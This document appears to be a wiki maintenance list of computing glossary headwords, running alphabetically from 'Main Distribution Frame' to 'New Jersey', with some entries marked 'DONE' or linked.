Main Distribution Frame&lt;br&gt;
mainframe&lt;br&gt;
main loop&lt;br&gt;
main memory&lt;br&gt;
MAINSAIL&lt;br&gt;
maintainer&lt;br&gt;
maintainer script&lt;br&gt;
maintenance&lt;br&gt;
Maisie&lt;br&gt;
major delivery&lt;br&gt;
Majordomo&lt;br&gt;
major release&lt;br&gt;
Make&lt;br&gt;
Makedoc&lt;br&gt;
makefile&lt;br&gt;
Maker Interchange Format&lt;br&gt;
MAL&lt;br&gt;
Malamud&lt;br&gt;
MALI&lt;br&gt;
mall&lt;br&gt;
malloc&lt;br&gt;
MAN&lt;br&gt;
man&lt;br&gt;
management&lt;br&gt;
Management Information Base&lt;br&gt;
Management Information System&lt;br&gt;
Manchester Autocode&lt;br&gt;
Manchester encoding&lt;br&gt;
Mandala&lt;br&gt;
Mandelbrot, Benoit&lt;br&gt;
Mandelbrot set&lt;br&gt;
mandelbug&lt;br&gt;
manged&lt;br&gt;
mangle&lt;br&gt;
mangler&lt;br&gt;
mango&lt;br&gt;
man page&lt;br&gt;
mantissa&lt;br&gt;
manual testing&lt;br&gt;
Manufacturer Resource Planning&lt;br&gt;
Manufacturers Automation Protocol&lt;br&gt;
Manufacturing Automation Protocol&lt;br&gt;
manularity&lt;br&gt;
MAO&lt;br&gt;
MAP&lt;br&gt;
map&lt;br&gt;
MAPI&lt;br&gt;
Maple computer algebra system&lt;br&gt;
mapping&lt;br&gt;
marbles&lt;br&gt;
Marc Andreessen&lt;br&gt;
marginal&lt;br&gt;
Marginal Hacks&lt;br&gt;
Maril&lt;br&gt;
Mark 1&lt;br&gt;
marketroid&lt;br&gt;
Markov&lt;br&gt;
Markov chain&lt;br&gt;
Markov model&lt;br&gt;
Markov process&lt;br&gt;
Markowitz&lt;br&gt;
mark-sweep garbage collection&lt;br&gt;
markup&lt;br&gt;
Marlais&lt;br&gt;
Mars&lt;br&gt;
Marseille Prolog&lt;br&gt;
marshaling&lt;br&gt;
marshalling&lt;br&gt;
MARSYAS&lt;br&gt;
Martian&lt;br&gt;
Martin Marietta Laboratories Moorestown&lt;br&gt;
MARVIN&lt;br&gt;
Mary Programming Language&lt;br&gt;
MAS&lt;br&gt;
MASCOT&lt;br&gt;
Mask Read-Only Memory&lt;br&gt;
MASM&lt;br&gt;
MasPar Unity&lt;br&gt;
masquerading&lt;br&gt;
Massachusetts Institute of Technology&lt;br&gt;
massage&lt;br&gt;
Massey Hope&lt;br&gt;
master&lt;br&gt;
Matchmaker&lt;br&gt;
Material Resource Planning&lt;br&gt;
Mathcad&lt;br&gt;
Mathematica&lt;br&gt;
Mathematical Analysis without Programming&lt;br&gt;
Mathematics in Recognizable Form Automatically Compiled&lt;br&gt;
MATH-MATIC or MATHMATIC&lt;br&gt;
math-out&lt;br&gt;
MathWorks&lt;br&gt;
MATLAB&lt;br&gt;
Matrix&lt;br&gt;
Matrix Compiler&lt;br&gt;
MATRIX MATH&lt;br&gt;
Matrix Math eXtensions&lt;br&gt;
MAU&lt;br&gt;
mawk&lt;br&gt;
maximal free expression&lt;br&gt;
maximin&lt;br&gt;
MAXIMOP&lt;br&gt;
maximum Maytag mode&lt;br&gt;
maximum seek time&lt;br&gt;
maximum segment size&lt;br&gt;
Maximum Transmission Unit&lt;br&gt;
Maxis Software&lt;br&gt;
MB&lt;br&gt;
MBASIC&lt;br&gt;
Mbogo, Dr. Fred&lt;br&gt;
MBONE&lt;br&gt;
mbps&lt;br&gt;
MBS&lt;br&gt;
MC&lt;br&gt;
mc&lt;br&gt;
MC68000&lt;br&gt;
MC6809&lt;br&gt;
MCA -- '''DONE''' (redirected to Micro Channel Architecture)&lt;br&gt;
MCC&lt;br&gt;
McCulloch-Pitts neuron&lt;br&gt;
McG360&lt;br&gt;
MCI&lt;br&gt;
MCL&lt;br&gt;
M-Code&lt;br&gt;
MCP&lt;br&gt;
MCP-1600&lt;br&gt;
MCS&lt;br&gt;
MCSD&lt;br&gt;
MCSE&lt;br&gt;
mcvax&lt;br&gt;
mcvert&lt;br&gt;
MD&lt;br&gt;
md&lt;br&gt;
MD5&lt;br&gt;
MDF&lt;br&gt;
MDI&lt;br&gt;
MDL&lt;br&gt;
Mean Time Between Failures&lt;br&gt;
Mean Time Between Faults&lt;br&gt;
Mean Time To Recovery&lt;br&gt;
measure&lt;br&gt;
measurement&lt;br&gt;
meatspace&lt;br&gt;
meatware&lt;br&gt;
Media Access Control&lt;br&gt;
Media Access Unit&lt;br&gt;
Media Converter&lt;br&gt;
Media Gateway Control Protocol&lt;br&gt;
Medium Access Control&lt;br&gt;
meeces&lt;br&gt;
Meet&lt;br&gt;
meg&lt;br&gt;
mega-&lt;br&gt;
megabits per second&lt;br&gt;
megabyte&lt;br&gt;
megaflop&lt;br&gt;
megaflops&lt;br&gt;
megahertz&lt;br&gt;
megapenny&lt;br&gt;
MEGO&lt;br&gt;
Mei&lt;br&gt;
Mel&lt;br&gt;
MELD&lt;br&gt;
MELDC&lt;br&gt;
Melinda&lt;br&gt;
Mellor&lt;br&gt;
meltdown&lt;br&gt;
member function&lt;br&gt;
membership function&lt;br&gt;
meme&lt;br&gt;
meme plague&lt;br&gt;
memetic algorithm&lt;br&gt;
memetics&lt;br&gt;
Memex&lt;br&gt;
memo function&lt;br&gt;
memoisation&lt;br&gt;
memoised function&lt;br&gt;
memoization&lt;br&gt;
memoized function&lt;br&gt;
memory&lt;br&gt;
memory address space&lt;br&gt;
memory farts&lt;br&gt;
memory leak&lt;br&gt;
memory location&lt;br&gt;
memory management&lt;br&gt;
Memory Management Unit&lt;br&gt;
memory mapped I/O '''DONE'''&lt;br&gt;
memory protection&lt;br&gt;
memory smash&lt;br&gt;
Memory Type Range Registers&lt;br&gt;
MEMS&lt;br&gt;
Mentat&lt;br&gt;
MENTOR&lt;br&gt;
menu&lt;br&gt;
menu bar&lt;br&gt;
menuitis&lt;br&gt;
MENYMA/S&lt;br&gt;
Mercury Autocode&lt;br&gt;
mercury delay line&lt;br&gt;
MERISE&lt;br&gt;
Merlin&lt;br&gt;
MEROON&lt;br&gt;
Mesa&lt;br&gt;
mesh&lt;br&gt;
MESI protocol&lt;br&gt;
message&lt;br&gt;
Message Digest 5&lt;br&gt;
message digest function&lt;br&gt;
Message Handling System&lt;br&gt;
message passing&lt;br&gt;
[[Message Passing Interface]]&lt;br&gt;
message switching&lt;br&gt;
Message Transfer Agent&lt;br&gt;
Messaging Application Programming Interface&lt;br&gt;
Messaging Applications Programming Interface&lt;br&gt;
mess-dos&lt;br&gt;
META&lt;br&gt;
meta&lt;br&gt;
META 5&lt;br&gt;
meta bit&lt;br&gt;
MetaCard&lt;br&gt;
Meta-CASE tool&lt;br&gt;
Metaclass&lt;br&gt;
Meta-Crystal&lt;br&gt;
Metadata&lt;br&gt;
meta-data&lt;br&gt;
Metadata Information Partners&lt;br&gt;
META element&lt;br&gt;
metafile&lt;br&gt;
METAFONT&lt;br&gt;
metaheuristic&lt;br&gt;
Meta-II&lt;br&gt;
metainformation&lt;br&gt;
Meta-IV&lt;br&gt;
METAL&lt;br&gt;
metalanguage&lt;br&gt;
Metal Oxide Semiconductor&lt;br&gt;
Metal Oxide Semiconductor Field Effect Transistor&lt;br&gt;
metaphone&lt;br&gt;
metaprogram&lt;br&gt;
metasyntactic variable&lt;br&gt;
metasyntax&lt;br&gt;
META tag&lt;br&gt;
Meta-Vlisp&lt;br&gt;
Met-English&lt;br&gt;
METEOR&lt;br&gt;
meter&lt;br&gt;
method&lt;br&gt;
methodology&lt;br&gt;
Methods&lt;br&gt;
me too&lt;br&gt;
metre&lt;br&gt;
metric&lt;br&gt;
Metropolitan Area Network&lt;br&gt;
M-expression LISP&lt;br&gt;
MFC&lt;br&gt;
MFE&lt;br&gt;
MFLOPS&lt;br&gt;
[[MFM]] '''DONE'''&lt;br&gt;
MFTL&lt;br&gt;
mg&lt;br&gt;
MGCP&lt;br&gt;
mh&lt;br&gt;
MHDL&lt;br&gt;
MHEG&lt;br&gt;
MHS&lt;br&gt;
MHz&lt;br&gt;
MIB&lt;br&gt;
MIB Variable&lt;br&gt;
Mic-1&lt;br&gt;
Mic-2&lt;br&gt;
MICE&lt;br&gt;
mice&lt;br&gt;
Michigan Algorithm Decoder&lt;br&gt;
mickey&lt;br&gt;
mickey mouse program&lt;br&gt;
MICR&lt;br&gt;
micro&lt;br&gt;
micro-&lt;br&gt;
Micro Assembly Language&lt;br&gt;
microcentury&lt;br&gt;
Micro Channel Architecture -- '''DONE'''&lt;br&gt;
microcode&lt;br&gt;
Microcom Networking Protocol&lt;br&gt;
microcomputer&lt;br&gt;
microcontroller&lt;br&gt;
MicroDroid&lt;br&gt;
microelectromechanical system&lt;br&gt;
Microelectronics and Computer Technology Corporation&lt;br&gt;
MicroEmacs&lt;br&gt;
microfloppies&lt;br&gt;
microfortnight&lt;br&gt;
MicroGnuEmacs&lt;br&gt;
Micro Instrumentation and Telemetry Systems&lt;br&gt;
Micro Interpreter for Knowledge Engineering&lt;br&gt;
microkernel&lt;br&gt;
microLenat&lt;br&gt;
micrometre&lt;br&gt;
Micro ML&lt;br&gt;
Micron&lt;br&gt;
micron&lt;br&gt;
Micron Electronics, Inc.&lt;br&gt;
Micronetics Standard MUMPS&lt;br&gt;
Micro$oft&lt;br&gt;
microPLANNER&lt;br&gt;
microprocesor&lt;br&gt;
microprocessor&lt;br&gt;
Microprocessor without Interlocked Pipeline Stages&lt;br&gt;
microprogramming&lt;br&gt;
microReid&lt;br&gt;
MICRO SAINT&lt;br&gt;
microsecond&lt;br&gt;
Microserf&lt;br&gt;
Microslop&lt;br&gt;
Microsloth Windows&lt;br&gt;
Microsoft&lt;br&gt;
Microsoft Access&lt;br&gt;
Microsoft Basic&lt;br&gt;
Microsoft Certified Solution Developer&lt;br&gt;
Microsoft Certified System Engineer&lt;br&gt;
Microsoft Certified Systems Developer&lt;br&gt;
Microsoft Corporation&lt;br&gt;
Microsoft Excel&lt;br&gt;
Microsoft Exchange&lt;br&gt;
Microsoft Extended&lt;br&gt;
Microsoft Foundation Classes&lt;br&gt;
Microsoft IIS&lt;br&gt;
Microsoft IntelliMouse Explorer&lt;br&gt;
Microsoft Internet Information Server&lt;br&gt;
Microsoft Mail&lt;br&gt;
Microsoft Mail Application Program Interface&lt;br&gt;
Microsoft Network&lt;br&gt;
Microsoft Networking&lt;br&gt;
Microsoft Office&lt;br&gt;
Microsoft Point to Point Encryption&lt;br&gt;
Microsoft SQL Server&lt;br&gt;
Microsoft Windows&lt;br&gt;
Microsoft Word&lt;br&gt;
MicroStation&lt;br&gt;
microtape&lt;br&gt;
Microware Corporation&lt;br&gt;
Microwave Hardware Description Language&lt;br&gt;
MIDAS&lt;br&gt;
Midas&lt;br&gt;
Midas-WWW&lt;br&gt;
middle-endian&lt;br&gt;
middleware&lt;br&gt;
MIDI&lt;br&gt;
mid-level network&lt;br&gt;
MIF&lt;br&gt;
MIG&lt;br&gt;
MIGRAINES&lt;br&gt;
MII&lt;br&gt;
MIIS&lt;br&gt;
MIKE&lt;br&gt;
mil&lt;br&gt;
Milarepa&lt;br&gt;
MILITRAN&lt;br&gt;
mill&lt;br&gt;
millennium bug&lt;br&gt;
millennium meltdown&lt;br&gt;
milli-&lt;br&gt;
milliLampson&lt;br&gt;
millisecond&lt;br&gt;
MILNET&lt;br&gt;
MIMD&lt;br&gt;
MIME&lt;br&gt;
mimencode&lt;br&gt;
MIMER&lt;br&gt;
MIME type&lt;br&gt;
MIMIC&lt;br&gt;
MIMOLA&lt;br&gt;
mind mouse&lt;br&gt;
mind uploading&lt;br&gt;
Minerva software&lt;br&gt;
minicomputer&lt;br&gt;
Mini Disc&lt;br&gt;
minifloppy&lt;br&gt;
minimal automaton&lt;br&gt;
minimax&lt;br&gt; '''DONE'''
Mini-ML&lt;br&gt;
minimum seek time&lt;br&gt;
Mini PL/I&lt;br&gt;
MINITAB II&lt;br&gt;
MINIX&lt;br&gt;
Minnesota Internet Users Essential Tool&lt;br&gt;
MINT&lt;br&gt;
MiNT&lt;br&gt;
Mint Is Not TRAC&lt;br&gt;
Minuet&lt;br&gt;
MINUIT&lt;br&gt;
minus&lt;br&gt;
minus infinity&lt;br&gt;
MIPS&lt;br&gt;
MIPS project&lt;br&gt;
MIPS R2000&lt;br&gt;
MIPS R2010&lt;br&gt;
MIPS R3000&lt;br&gt;
MIPS R4000&lt;br&gt;
MIPS Technologies, Inc.&lt;br&gt;
Miracula&lt;br&gt;
Miranda&lt;br&gt;
MIRFAC&lt;br&gt;
mirror&lt;br&gt;
mirroring&lt;br&gt;
MIS&lt;br&gt;
misbug&lt;br&gt;
misfeature&lt;br&gt;
MISHAP&lt;br&gt;
Missed'em-five&lt;br&gt;
missile address&lt;br&gt;
miswart&lt;br&gt;
MIT&lt;br&gt;
MIT AI Lab&lt;br&gt;
MITI&lt;br&gt;
MITILAC&lt;br&gt;
MIT Lisp Machine&lt;br&gt;
MITRE Corporation&lt;br&gt;
MIT Research Laboratory for Electronics&lt;br&gt;
MITS&lt;br&gt;
MIT Scheme&lt;br&gt;
MIX&lt;br&gt;
MIXAL&lt;br&gt;
MIX Communications&lt;br&gt;
M-JPEG&lt;br&gt;
MJS&lt;br&gt;
mk&lt;br&gt;
ML&lt;br&gt;
ml&lt;br&gt;
ML-2000&lt;br&gt;
MLAB&lt;br&gt;
ML/I&lt;br&gt;
MLISP&lt;br&gt;
ML Kit&lt;br&gt;
MLL&lt;br&gt;
ML-lex&lt;br&gt;
ML-Linda&lt;br&gt;
ML Threads&lt;br&gt;
ML-Twig&lt;br&gt;
mm&lt;br&gt;
Mma&lt;br&gt;
mmap&lt;br&gt;
MMCD&lt;br&gt;
MMDF&lt;br&gt;
MMI&lt;br&gt;
MML&lt;br&gt;
MMU&lt;br&gt;
MMX&lt;br&gt;
MMX technology&lt;br&gt;
mn&lt;br&gt;
mnemonic&lt;br&gt;
MNP&lt;br&gt;
mo&lt;br&gt;
Mobile Triton&lt;br&gt;
mobo&lt;br&gt;
MOBSSL-UAF&lt;br&gt;
moby&lt;br&gt;
mockingbird&lt;br&gt;
Mockingboard&lt;br&gt;
Mock Lisp&lt;br&gt;
mod&lt;br&gt;
*MOD&lt;br&gt;
modal&lt;br&gt;
modal logic&lt;br&gt;
MODCAL&lt;br&gt;
Mode&lt;br&gt;
mode&lt;br&gt;
mode bit&lt;br&gt;
MODEF&lt;br&gt;
MODEL&lt;br&gt;
model&lt;br&gt;
model checking&lt;br&gt;
modeling&lt;br&gt;
modelling&lt;br&gt;
Model View Controller&lt;br&gt;
modem&lt;br&gt;
MODEM7&lt;br&gt;
moderator&lt;br&gt;
[[Modified Frequency Modulation]] '''DONE'''&lt;br&gt;
modifier&lt;br&gt;
M O drive&lt;br&gt;
MODSIM&lt;br&gt;
MODSIM II&lt;br&gt;
Modula&lt;br&gt;
Modula-2&lt;br&gt;
Modula-2*&lt;br&gt;
Modula-2+&lt;br&gt;
Modula-3&lt;br&gt;
Modula-3*&lt;br&gt;
Modula-3pi&lt;br&gt;
Modula-P&lt;br&gt;
Modula-Prolog&lt;br&gt;
Modula/R&lt;br&gt;
Modular C&lt;br&gt;
MODUlar LAnguage&lt;br&gt;
Modular Prolog&lt;br&gt;
Modular SB-Prolog&lt;br&gt;
module&lt;br&gt;
Modulex&lt;br&gt;
modulo&lt;br&gt;
modulo arithmetic&lt;br&gt;
modulo operator&lt;br&gt;
molly-guard&lt;br&gt;
monad&lt;br&gt;
monadic&lt;br&gt;
Mongolian Hordes technique&lt;br&gt;
moniter&lt;br&gt;
monitor&lt;br&gt;
monkey, scratch&lt;br&gt;
monkey up&lt;br&gt;
monochrome&lt;br&gt;
monoid&lt;br&gt;
monotonic&lt;br&gt;
MONSTR&lt;br&gt;
Montage&lt;br&gt;
Monte Carlo&lt;br&gt;
monty&lt;br&gt;
MOO&lt;br&gt;
Moof&lt;br&gt;
Moore bound&lt;br&gt;
Moore graph&lt;br&gt;
Moore's Law&lt;br&gt;
moose call&lt;br&gt;
MooZ&lt;br&gt;
Mops&lt;br&gt;
MORAL&lt;br&gt;
moria&lt;br&gt;
morphing&lt;br&gt;
Morse code&lt;br&gt;
MORTRAN&lt;br&gt;
[[MOS Technology|MOS]] '''DONE''' (MOS Technology)&lt;br&gt;
Mosaic&lt;br&gt;
Mosaic Communications Corporation&lt;br&gt;
Moscow ML&lt;br&gt;
MOSFET&lt;br&gt;
Mosiac&lt;br&gt;
MOS Technologies&lt;br&gt;
most general unifier&lt;br&gt;
[[most significant bit]]&lt;br&gt;
motd&lt;br&gt;
mother&lt;br&gt;
motherboard&lt;br&gt;
[[Motif (widget toolkit)|Motif]] '''DONE'''&lt;br&gt;
Motion JPEG&lt;br&gt;
Motion Picture Experts Group&lt;br&gt;
Motorola&lt;br&gt;
Motorola 14500B&lt;br&gt;
Motorola 6800&lt;br&gt;
Motorola 68000&lt;br&gt;
Motorola 6801&lt;br&gt;
Motorola 68010&lt;br&gt;
Motorola 68020&lt;br&gt;
Motorola 68030&lt;br&gt;
Motorola 68040&lt;br&gt;
Motorola 68050&lt;br&gt;
Motorola 68060&lt;br&gt;
Motorola 6809&lt;br&gt;
Motorola 680x0&lt;br&gt;
Motorola 68HC11&lt;br&gt;
Motorola 68LC040&lt;br&gt;
Motorola 88000&lt;br&gt;
Motorola, Inc.&lt;br&gt;
mount&lt;br&gt;
Mouse&lt;br&gt;
mouse&lt;br&gt;
mouse ahead&lt;br&gt;
mouse around&lt;br&gt;
mouse arrest&lt;br&gt;
mouse belt&lt;br&gt;
mouse droppings&lt;br&gt;
mouse elbow&lt;br&gt;
mouse mat&lt;br&gt;
mouse pad&lt;br&gt;
mouse trails&lt;br&gt;
mouso&lt;br&gt;
Moving JPEG&lt;br&gt;
Moving Picture Expert Group&lt;br&gt;
Moving Picture Experts Group&lt;br&gt;
Moving Pictures Experts Group&lt;br&gt;
Moxie&lt;br&gt;
Mozilla&lt;br&gt;
Mozilla Public License&lt;br&gt;
mp&lt;br&gt;
MP1&lt;br&gt;
MP-1&lt;br&gt;
MP2&lt;br&gt;
MP3&lt;br&gt;
MPC&lt;br&gt;
MPC Level 1 Specification&lt;br&gt;
MPC Level 2 Specification&lt;br&gt;
MPEG&lt;br&gt;
MPEG-1&lt;br&gt;
MPEG-1 audio layer 3&lt;br&gt;
MPEG-1 layer 3&lt;br&gt;
MPEG-2&lt;br&gt;
MPEG-3&lt;br&gt;
MPEG-4&lt;br&gt;
MPG&lt;br&gt;
mpg&lt;br&gt;
[[MPI]]&lt;br&gt;
MPL&lt;br&gt;
MPL II&lt;br&gt;
MPLS&lt;br&gt;
MPLS domain&lt;br&gt;
MP/M&lt;br&gt;
MPP&lt;br&gt;
MPPE&lt;br&gt;
MPPL&lt;br&gt;
MPR II&lt;br&gt;
M-Prolog&lt;br&gt;
MPS III&lt;br&gt;
MPSX&lt;br&gt;
MPV&lt;br&gt;
MPX&lt;br&gt;
mq&lt;br&gt;
MQG&lt;br&gt;
mr&lt;br&gt;
MRDS&lt;br&gt;
MRI&lt;br&gt;
MROC&lt;br&gt;
MROM&lt;br&gt;
MRP&lt;br&gt;
MRP II&lt;br&gt;
MRS&lt;br&gt;
ms&lt;br&gt;
MS Access&lt;br&gt;
MSAU&lt;br&gt;
[[most significant bit|MSB]]&lt;br&gt;
MS-BASIC&lt;br&gt;
MS-DOG&lt;br&gt;
MS-DOS&lt;br&gt;
MSG.84&lt;br&gt;
msgGUI&lt;br&gt;
MSIE&lt;br&gt;
MSM&lt;br&gt;
MS Mail&lt;br&gt;
MSN&lt;br&gt;
MSS&lt;br&gt;
MS-Windows&lt;br&gt;
MswLogo&lt;br&gt;
MS Word&lt;br&gt;
MSX&lt;br&gt;
MSX-DOS&lt;br&gt;
mt&lt;br&gt;
MTA&lt;br&gt;
MTBF&lt;br&gt;
mtc&lt;br&gt;
M Technology Association&lt;br&gt;
MTOS&lt;br&gt;
MTS&lt;br&gt;
[[Mean Time To Recovery|MTTR]]&lt;br&gt;
MTU&lt;br&gt;
Mu&lt;br&gt;
mu&lt;br&gt;
MUA&lt;br&gt;
MUCAL&lt;br&gt;
MUD&lt;br&gt;
muddie&lt;br&gt;
Muddle&lt;br&gt;
mudhead&lt;br&gt;
MUD Object Oriented&lt;br&gt;
muFP&lt;br&gt;
mu-law&lt;br&gt;
Mule&lt;br&gt;
Mul-T&lt;br&gt;
Multi-BinProlog&lt;br&gt;
multiC&lt;br&gt;
MultiCal System&lt;br&gt;
multicast addressing&lt;br&gt;
multicast backbone&lt;br&gt;
Multi-channel Memorandum Distribution Facility&lt;br&gt;
multician&lt;br&gt;
Multics&lt;br&gt;
Multics Relational Data Store&lt;br&gt;
Multiflow Computer&lt;br&gt;
Multi-Garnet&lt;br&gt;
multihomed host&lt;br&gt;
multilayer perceptron&lt;br&gt;
MultiLisp '''Done'''&lt;br&gt;
multimedia&lt;br&gt;
Multimedia and Hypermedia information coding Expert Group&lt;br&gt;
MultiMedia Compact Disc&lt;br&gt;
MultiMedia Extension&lt;br&gt;
Multimedia Integrated Conferencing for European Researchers&lt;br&gt;
Multimedia Internet Mail Extensions&lt;br&gt;
Multimedia Personal Computer&lt;br&gt;
multi-part key&lt;br&gt;
Multi-Pascal&lt;br&gt;
multiple access&lt;br&gt;
Multiple Document Interface&lt;br&gt;
multiple inheritance&lt;br&gt;
Multiple Instruction Multiple Data&lt;br&gt;
Multiple Instruction/Multiple Data&lt;br&gt;
Multiple Master&lt;br&gt;
multiple perspective software development&lt;br&gt;
multiple value&lt;br&gt;
Multiple Virtual Storage&lt;br&gt;
multiplexer&lt;br&gt;
multiplexing&lt;br&gt;
multiplexor&lt;br&gt;
Multiplexor Channel&lt;br&gt;
multiplex printer&lt;br&gt;
Multipop-68&lt;br&gt;
multiprocessing&lt;br&gt;
multiprocessor&lt;br&gt;
multiprogramming&lt;br&gt;
Multiprotocol Label Switching&lt;br&gt;
Multipurpose Internet Mail Extensions&lt;br&gt;
multiscan&lt;br&gt;
MultiScheme&lt;br&gt;
Multistation Access Unit&lt;br&gt;
multisync&lt;br&gt;
Multisystem eXtension Interface Bus&lt;br&gt;
multitasking&lt;br&gt;
Multi-tasking Program for Microcomputers&lt;br&gt;
multithreaded&lt;br&gt;
multithreading&lt;br&gt;
MultiTOS&lt;br&gt;
Multi-User Dimension&lt;br&gt;
Multi-User Dungeon&lt;br&gt;
Multi-User Shared Hallucination&lt;br&gt;
Multi-Version Concurrency Control&lt;br&gt;
multi-way branch&lt;br&gt;
MuMath&lt;br&gt;
mumblage&lt;br&gt;
mumble&lt;br&gt;
mumble mode&lt;br&gt;
MUMPS&lt;br&gt;
munch&lt;br&gt;
munching&lt;br&gt;
munching squares&lt;br&gt;
munchkin&lt;br&gt;
mundane&lt;br&gt;
mung&lt;br&gt;
munge&lt;br&gt;
MUP&lt;br&gt;
MU-Prolog&lt;br&gt;
Murphy's Law&lt;br&gt;
Muse&lt;br&gt;
museum&lt;br&gt;
MUSH&lt;br&gt;
Music&lt;br&gt;
Musical Instrument Digital Interface&lt;br&gt;
MuSimp&lt;br&gt;
MUSL&lt;br&gt;
mutant&lt;br&gt;
Mutation Testing&lt;br&gt;
MuTeX&lt;br&gt;
mutex&lt;br&gt;
mutter&lt;br&gt;
mutual exclusion&lt;br&gt;
mutually recursive&lt;br&gt;
mutual recursion&lt;br&gt;
mux&lt;br&gt;
mv&lt;br&gt;
MVC&lt;br&gt;
MVCC&lt;br&gt;
MVS&lt;br&gt;
MVS/ESA&lt;br&gt;
MVS/OE&lt;br&gt;
MVS/Open Edition&lt;br&gt;
MVS/SP&lt;br&gt;
MVS/XA&lt;br&gt;
mw&lt;br&gt;
MX&lt;br&gt;
mx&lt;br&gt;
MXI&lt;br&gt;
MXIbus&lt;br&gt;
MX Record&lt;br&gt;
my&lt;br&gt;
My Favourite Toy Language&lt;br&gt;
MYOB&lt;br&gt;
MYSTIC&lt;br&gt;
mz&lt;br&gt;
N&lt;br&gt;
N10&lt;br&gt;
na&lt;br&gt;
nadger&lt;br&gt;
NAG&lt;br&gt;
Nagling Coalescence&lt;br&gt;
nagware&lt;br&gt;
nailed to the wall&lt;br&gt;
nailing jelly&lt;br&gt;
naive&lt;br&gt;
naive user&lt;br&gt;
NAK&lt;br&gt;
name capture&lt;br&gt;
named&lt;br&gt;
named pipe&lt;br&gt;
name resolution&lt;br&gt;
name service switching&lt;br&gt;
namespace&lt;br&gt;
NaN&lt;br&gt;
NAND&lt;br&gt;
nano-&lt;br&gt;
nanoacre&lt;br&gt;
nanobot&lt;br&gt;
nanocomputer&lt;br&gt;
nanofortnight&lt;br&gt;
nanosecond&lt;br&gt;
nanotechnology&lt;br&gt;
Napier&lt;br&gt;
[[NAPLPS]] '''DONE'''&lt;br&gt;
NAPSS&lt;br&gt;
narrowing&lt;br&gt;
NAS&lt;br&gt;
nasal demons&lt;br&gt;
NASI&lt;br&gt;
nastistical&lt;br&gt;
NASTRAN&lt;br&gt;
nastygram&lt;br&gt;
NAT&lt;br&gt;
Nathan Hale&lt;br&gt;
National Bureau of Standards&lt;br&gt;
National Center for Supercomputing Applications&lt;br&gt;
national characters&lt;br&gt;
National Database Language&lt;br&gt;
National Information Infrastructure&lt;br&gt;
National Information Services and Systems&lt;br&gt;
National Institute of Standards and Technology&lt;br&gt;
National Research and Education Network&lt;br&gt;
National Science Foundation&lt;br&gt;
National Science Foundation Network&lt;br&gt;
National Software Reuse Directory&lt;br&gt;
National Spatial Data Infrastructure&lt;br&gt;
National Television Standards Committee&lt;br&gt;
native compiler&lt;br&gt;
Native Language System&lt;br&gt;
NATURAL&lt;br&gt;
natural deduction&lt;br&gt;
Natural English&lt;br&gt;
natural language&lt;br&gt;
Natural Language Information Analysis Method&lt;br&gt;
natural language processing&lt;br&gt;
natural number&lt;br&gt;
nature&lt;br&gt;
NAU&lt;br&gt;
navigating&lt;br&gt;
Navigator&lt;br&gt;
Nawk&lt;br&gt;
NB&lt;br&gt;
NBFCP&lt;br&gt;
NBS&lt;br&gt;
NBT&lt;br&gt;
NC&lt;br&gt;
nc&lt;br&gt;
NCD&lt;br&gt;
NCP&lt;br&gt;
NCR Corporation&lt;br&gt;
NCS&lt;br&gt;
NCSA&lt;br&gt;
ND&lt;br&gt;
NDIS&lt;br&gt;
NDL&lt;br&gt;
NDS&lt;br&gt;
ne&lt;br&gt;
neat hack&lt;br&gt;
neats vs. scruffies&lt;br&gt;
Nebula&lt;br&gt;
NEC&lt;br&gt;
neep-neep&lt;br&gt;
negation by failure&lt;br&gt;
negative acknowledge&lt;br&gt;
NELIAC&lt;br&gt;
Neon&lt;br&gt;
neophilia&lt;br&gt;
Neptune&lt;br&gt;
Nerd pride&lt;br&gt;
NERECO&lt;br&gt;
NESL&lt;br&gt;
net&lt;br&gt;
net.-&lt;br&gt;
netaddress&lt;br&gt;
NetBEUI&lt;br&gt;
NetBIOS&lt;br&gt;
NetBIOS Frames Control Protocol&lt;br&gt;
NetBios over TCP/IP&lt;br&gt;
NetBOLLIX&lt;br&gt;
netbui&lt;br&gt;
netburp&lt;br&gt;
netCDF '''DONE'''&lt;br/&gt;
Netcom On-line Communication Services, Inc.&lt;br&gt;
netdead&lt;br&gt;
Netfind&lt;br&gt;
net.god&lt;br&gt;
NetHack&lt;br&gt;
netiquette -- '''DONE'''&lt;br&gt;
NETL&lt;br&gt;
netlag&lt;br&gt;
netload&lt;br&gt;
Netmarq Limited&lt;br&gt;
netmask&lt;br&gt;
NetNanny&lt;br&gt;
netnews&lt;br&gt;
net.personality&lt;br&gt;
netpipes&lt;br&gt;
net.police&lt;br&gt;
netquette&lt;br&gt;
Netrek&lt;br&gt;
netrock&lt;br&gt;
Netscape&lt;br&gt;
Netscape Communications Corporation&lt;br&gt;
Netscape Navigator&lt;br&gt;
Netscape Public License&lt;br&gt;
netsplit&lt;br&gt;
netstat&lt;br&gt;
netter&lt;br&gt;
NetWare&lt;br&gt;
NetWare Core Protocol&lt;br&gt;
Netware Directory Services&lt;br&gt;
Netware Input/Output Subsystem&lt;br&gt;
NetWare Link State Protocol&lt;br&gt;
network&lt;br&gt;
network address&lt;br&gt;
Network Addressable Unit&lt;br&gt;
Network Address Translation&lt;br&gt;
Network Address Translator&lt;br&gt;
network byte order&lt;br&gt;
network card&lt;br&gt;
network closet&lt;br&gt;
Network Computing Devices&lt;br&gt;
network database&lt;br&gt;
Network Definition Language&lt;br&gt;
Network Device Interface Specification&lt;br&gt;
Network extensible Window System&lt;br&gt;
Network File System&lt;br&gt;
Network Filing System&lt;br&gt;
Network Information Center&lt;br&gt;
[[Network Information Service]] '''DONE'''&lt;br&gt;
Network Information System '''DONE'''&lt;br&gt;
networking&lt;br&gt;
network interface card&lt;br&gt;
network interface controller&lt;br&gt;
network layer&lt;br&gt;
network management&lt;br&gt;
network meltdown&lt;br&gt;
Network News Transfer Protocol&lt;br&gt;
Network Node Interface&lt;br&gt;
network number&lt;br&gt;
network operating system&lt;br&gt;
Network Operations Center&lt;br&gt;
network redirector&lt;br&gt;
network segment&lt;br&gt;
Network Solutions, Inc.&lt;br&gt;
Network Termination&lt;br&gt;
network, the&lt;br&gt;
Network Time Protocol&lt;br&gt;
network transparency&lt;br&gt;
NetX&lt;br&gt;
Net:X&lt;br&gt;
neural nets&lt;br&gt;
neural network&lt;br&gt;
neuron&lt;br&gt;
Neutral Interconnect&lt;br&gt;
neutrosophic&lt;br&gt;
neutrosophic logic&lt;br&gt;
neutrosophic probability&lt;br&gt;
neutrosophic set&lt;br&gt;
neutrosophic statistics&lt;br&gt;
Neutrosophy&lt;br&gt;
Never Offline&lt;br&gt;
newbie&lt;br&gt;
New Flavors&lt;br&gt;
newgroup wars&lt;br&gt;
New Jersey&lt;br&gt;
